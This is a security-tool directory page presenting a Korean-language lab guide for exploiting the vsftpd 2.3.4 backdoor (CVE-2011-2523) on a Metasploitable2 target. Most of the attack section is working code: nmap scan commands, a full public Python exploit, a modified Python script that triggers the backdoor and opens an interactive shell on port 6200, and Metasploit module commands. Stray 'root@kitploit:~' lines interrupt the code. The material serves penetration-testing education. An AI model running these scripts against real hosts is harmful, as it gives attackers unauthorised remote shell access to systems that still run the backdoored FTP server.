Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2011-2523 — # vsftpd 2.3.4 백도어(CVE-2011-2523) 수동 및 자동 익스플로잇 실습 가이드 커스텀 리버스 셸 페이로드와 Metasploit 통합을 활용한 vsftpd 2.3.4 백도어(CVE-2011-2523)의 수동 및 자동 익스플로잇 실습으로, 침투 테스트 교육을 위한 자료입니다. | Kitploit
도구/GitHubGitHub/hklabcr/cve-2011-2523
Exploit FrameworksVulnerability AnalysisExploitationCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubhklabcr/cve-2011-2523

CVE-2011-2523

# vsftpd 2.3.4 백도어(CVE-2011-2523) 수동 및 자동 익스플로잇 실습 가이드 커스텀 리버스 셸 페이로드와 Metasploit 통합을 활용한 vsftpd 2.3.4 백도어(CVE-2011-2523)의 수동 및 자동 익스플로잇 실습으로, 침투 테스트 교육을 위한 자료입니다.

저장소 보기
31년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2011-2523

이것은 통제된 환경에서 공격 방법론을 만들기 위한 메모입니다. 해당 실습은 블랙박스(black box) 환경이라는 전제에서 출발하므로, 피해 시스템에 대한 정보를 알 수 없는 상태입니다.

1- 메타스플로잇블2(Metasploitable2)와 칼리(Kali) 또는 다른 ISO 등 필요한 ISO를 다운로드합니다. 2- 중요: 환경은 VMware로 구성되어 있으므로 두 머신 모두 이 하이퍼바이저에서 실행해야 합니다. 3- 초기 과정은 ip 확인을 수행하여 두 지점(머신) 간에 연결이 존재하는지 확인합니다. 4- nmap -sV -Pn 192.168.253.128 사용하여, 인식(스캔)을 수행하면 다음과 같은 다중 포트를 발견합니다. 21 ftp vsftpd 2.3.4

훈련의 일환으로 각 포트를 공격하여 여러 가지 방법으로 침투하는 것을 목표로 하며, 다음 포트로 시작합니다. 최대한 실제 조건을 해결하거나 시뮬레이션하기 위해 블랙박스 상황을 만들려고 합니다.

포트 21 FTP 공격

nmap -Pn -sV 10.0.2.5 사용으로 시작합니다. 공개 데이터베이스에서 검색하여 CVE-2011-2523을 찾았습니다. 이는 백도어(backdoor)이며, 이를 악용하여 피해 머신에 접근해 보려고 합니다.

먼저, 이 특정 사례에서 수행될 공격에 백도어가 존재한다는 것을 이해해야 합니다. 이 시스템을 기존 취약점을 통해 침해할 방법을 찾는 과정에서 packetstorm.news에서 정보를 찾았습니다. 공격이 가능하다는 것을 증명하는 POC가 제시되어 있지만, 다음 코드에서 볼 수 있듯이 완전히 기능적이지는 않습니다.

Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution

Date: 9-04-2021

Exploit Author: HerculesRD

Software Link:

http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html

Version: vsftpd 2.3.4

Tested on: debian

CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit

def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)" password="PASS pass"

tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200) print('Success, shell opened') print('Send exit to quit shell') tn2.interact()

코드를 읽어 보면, 의도한 바는 공격이 가능하다는 것을 증명하는 것이지, 완전히 기능하는 스크립트를 만드는 것이 아니라는 점을 이해할 수 있습니다. 따라서 더 현실적인 실습을 위해 코드가 실행되는 순간부터 더 적절한 접근을 허용하는 리버스 셸(reverse shell)을 포함하도록 상당한 수정을 수행했습니다. 코드 수정 결과는 다음과 같습니다. #!/usr/bin/env python3

import socket import sys import time

def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")

root@kitploit:~
    # Enviar payload del backdoor
    s.sendall(b'USER backdoor:)\r\n')
    time.sleep(0.5)
    s.sendall(b'PASS whatever\r\n')
    time.sleep(0.5)
    s.close()

    return True
except Exception as e:
    print(f"[!] Error conectando al FTP: {e}")
    return False

def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")

root@kitploit:~
    while True:
        cmd = input("shell> ")
        if cmd.strip().lower() == "exit":
            break
        shell.sendall((cmd + "\n").encode())
        # Lee todos los datos disponibles hasta timeout
        output = b""
        while True:
            try:
                chunk = shell.recv(4096)
                if not chunk:
                    break
                output += chunk
                # Espera un poco para ver si hay más datos
                time.sleep(0.1)
            except socket.timeout:
                break
        if output:
            print(output.decode(errors='ignore'))
        else:
            print("[!] Sin respuesta del shell.")

    shell.close()

except Exception as e:
    print(f"[!] Falló al conectar con la shell: {e}")

if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)

root@kitploit:~
target_ip = sys.argv[1]
if connect_ftp(target_ip):
    time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
    connect_backdoor_shell(target_ip)
else:
    print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

따라서 이 예제를 다루는 데 있어 수동적이고 다소 번거로운 방식일 수 있지만, 정보 보안(security) 분야에서 성장하고 기술을 향상시키기 위해 다양한 옵션을 만드는 것이 목적임을 이해할 수 있습니다.

사용할 수 있는 또 다른 방법은 metasploit을 다음과 같이 사용하는 것입니다. msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run 이해할 수 있듯이 둘 다 정확히 동일한 작업을 수행하며, 하나는 이미 자동화되어 있고 다른 하나는 더 수동적인 프로세스입니다.

도구 다운로드